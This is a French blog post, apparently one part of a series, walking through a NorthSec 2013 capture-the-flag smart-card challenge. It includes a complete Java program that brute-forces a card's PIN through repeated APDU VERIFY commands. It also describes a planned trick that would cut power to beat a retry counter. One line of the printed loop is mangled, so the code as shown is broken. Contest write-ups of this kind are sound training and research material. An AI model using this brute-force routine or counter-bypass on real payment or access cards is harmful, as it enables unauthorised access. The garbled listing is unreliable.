Voici le deuxième billet sur la piste des cartes à puce à NorthSec 2013. Si vous avez manqué le premier, lisez-le ici.
Selon les instructions de la piste, le deuxième drapeau était le NIP courant. Comme les drapeaux semblaient classés par difficulté, je me suis attaqué à celui-là ensuite. Je précise que même sans les instructions, c’était évident: il fallait trouver le NIP courant. La page initiale de la carte à puce donnait la procédure pour changer le NIP, ce qui exigeait de créer deux clés en suivant ces instructions:
- Concaténer le NIP courant avec les Ben Pyr App Data (aucune idée de ce que c’est, mais on le découvrira plus tard)
- Faire un XOR avec la clé de chiffrement du NIP tirée de l’ancienne appliquette d’accès
- Faire un XOR avec la concaténation des app logs xorés (???), de 2 octets constants et du modèle de la carte
La construction de ces clés nous indiquait donc ce qu’il fallait trouver pour ne serait-ce que COMMENCER la procédure. Passons donc au NIP courant. La page mentionnait que l’ancienne application de vérification du NIP était toujours installée sur les nouvelles cartes, pour permettre de valider l’ANCIEN NIP, mais qu’elle était très lente lorsqu’un mauvais NIP était saisi.
Les instructions supplémentaires de la piste donnaient heureusement les AID (Application IDentifiers) des trois appliquettes, nommées de façon à ce qu’on puisse les identifier, et la page initiale listait toutes les commandes acceptées par chacune, avec leur représentation HEXADÉCIMALE!
La page indiquait que le NIP comptait 4 chiffres, mais plus loin elle précisait aussi qu’en raison de certaines restrictions de l’ancienne appliquette, le premier chiffre devait être 0. Nous avions donc un NIP de 3 chiffres à trouver. Je connais une solution simple: la force brute.
Après la réinitialisation, la première commande à envoyer est un SELECT pour choisir la bonne appliquette. J’ai sélectionné OLDCDC1, l’appliquette qui vérifie l’ancien NIP, et j’ai envoyé la commande VERIFY avec le NIP « 0000 ». Comme prévu, la carte a répondu que le NIP était mauvais, mais elle a mis environ 2 secondes à le faire. À ce stade, j’utilisais encore un shell de carte à puce dans lequel je tapais les commandes une à une. Ça allait prendre beaucoup trop de temps.
J’ai commencé à chercher dans Google une façon d’automatiser le processus et j’ai trouvé le paquet javax.smartcardio. Étant développeur Java, j’ai pris l’exemple de code du javadoc et je l’ai collé dans Eclipse. Ce code initialisait le terminal et ouvrait un canal vers la carte. J’ai ensuite codé la réinitialisation, le SELECT et une boucle pour tester tous les NIP de 0000 à 9999 (je me suis dit que l’histoire du premier chiffre à 0 pouvait être un mensonge et, de toute façon, j’ai testé ceux-là en premier). Dès que le VERIFY retournerait vrai, le programme s’arrêterait et retournerait la valeur.
Je l’ai laissé tourner une bonne partie de l’après-midi, mais vers la fin de la journée j’ai vu qu’il était rendu au-delà de 1000, ce qui semblait très suspect, alors j’ai décidé de relire le code pour m’assurer que je n’avais rien oublié. Il s’avère que je ne convertissais pas le NIP en octets correctement: je l’envoyais comme valeur binaire plutôt que comme texte. Juste avant de partir pour la nuit, j’ai donc recompilé la nouvelle version avec les NIP en texte. Elle a tourné jusqu’à la fermeture du réseau de la compétition, à 22 h ce soir-là.
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.util.List;
import javax.smartcardio.Card;
import javax.smartcardio.CardChannel;
import javax.smartcardio.CardTerminal;
import javax.smartcardio.CommandAPDU;
import javax.smartcardio.ResponseAPDU;
import javax.smartcardio.TerminalFactory;
public class BruteForcePin {
static byte[] selectApdu = new byte[] { 0x00, (byte) 0xA4, 0x04, 0x00, 0x07, 0x4F, 0x4C, 0x44, 0x43, 0x44, 0x43, 0x31 };
static byte[] verifyApdu = new byte[] { 0x00, 0x20, 0x00, 0x00, 0x04 };
public static void main(String[] args) throws Exception {
// show the list of available terminals
javax.smartcardio.TerminalFactory factory = TerminalFactory.getDefault();
List terminals = factory.terminals().list();
System.out.println("Terminals: " + terminals);
// get the first terminal
CardTerminal terminal = terminals.get(0);
// establish a connection with the card
Card card = terminal.connect("T=1");
System.out.println("card: " + card);
CardChannel channel = card.getBasicChannel();
ResponseAPDU r = channel.transmit(new CommandAPDU(selectApdu));
System.out.println("response: " + bytesToHex(r.getBytes()));
// Right pin is 719
for (int i = 0; i < 1000; ++i) {
ByteArrayOutputStream os = new ByteArrayOutputStream();
PrintWriter w = new PrintWriter(os);
w.printf("%04d", i);
w.flush();
byte[] pin = os.toByteArray();
System.out.println(i);
if (tryVerify(channel, pin)) {
System.out.println(i);
break;
}
}
// disconnect
card.disconnect(false);
}
private static boolean tryVerify(CardChannel channel, byte[] pin) throws Exception {
ByteArrayOutputStream os = new ByteArrayOutputStream();
os.write(verifyApdu);
os.write(pin);
ResponseAPDU r = channel.transmit(new CommandAPDU(os.toByteArray()));
byte[] resp = r.getBytes();
System.out.println("response: " + bytesToHex(r.getBytes()));
return resp[0] == (byte) 0x90 && resp[1] == 00;
}
public static String bytesToHex(byte[] bytes) {
final char[] hexArray = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
char[] hexChars = new char[bytes.length * 2];
int v;
for (int j = 0; j >> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
}
Heureusement, je n’avais pas besoin du réseau, alors j’ai laissé mon portable chercher pendant le Hacker Jeopardy, puis pendant que je dormais. Nous nous sommes couchés vers 1 h 30 et levés à 8 h.
Je savais qu’un drapeau m’attendait probablement, alors je suis arrivé à 8 h 45, quinze minutes avant l’ouverture de la compétition. En arrivant sur le site, j’ai vu mon portable avec le lecteur de cartes à côté, et le voyant du lecteur ne clignotait plus. Cela voulait dire qu’il avait trouvé le bon drapeau ou qu’il avait épuisé les 10 000 combinaisons. En ouvrant le portable, j’ai vu que le programme avait trouvé le NIP peu après notre départ et j’ai soumis mon drapeau dès l’ouverture de la compétition.
Après la compétition, j’ai discuté avec les organisateurs, qui m’ont dit que leur plan initial était de rendre la découverte du NIP courant beaucoup plus difficile. Ils voulaient un compteur commençant à 255 et décrémenté à chaque NIP invalide. Ils auraient retourné la valeur du compteur après chaque commande VERIFY pour qu’on sache qu’il ne restait pas beaucoup d’essais. L’astuce, c’est qu’ils n’auraient décrémenté le compteur qu’après le délai de 1,5 s: l’attaque aurait donc consisté à chronométrer la réponse et, après 50 ou 100 ms, à déconnecter la carte et couper l’alimentation avant que le compteur ne soit décrémenté. En théorie, on aurait eu autant d’essais qu’on voulait et on aurait accéléré la recherche considérablement. Le plus difficile aurait été de savoir combien de temps attendre pour un NIP correct.
Les organisateurs m’ont toutefois dit avoir eu des problèmes à implémenter ça: il y avait des problèmes de dépassement et le compteur décrémental n’a pas été mis en place.
J’avais donc mon drapeau et je garde la suite de l’histoire pour le troisième billet.
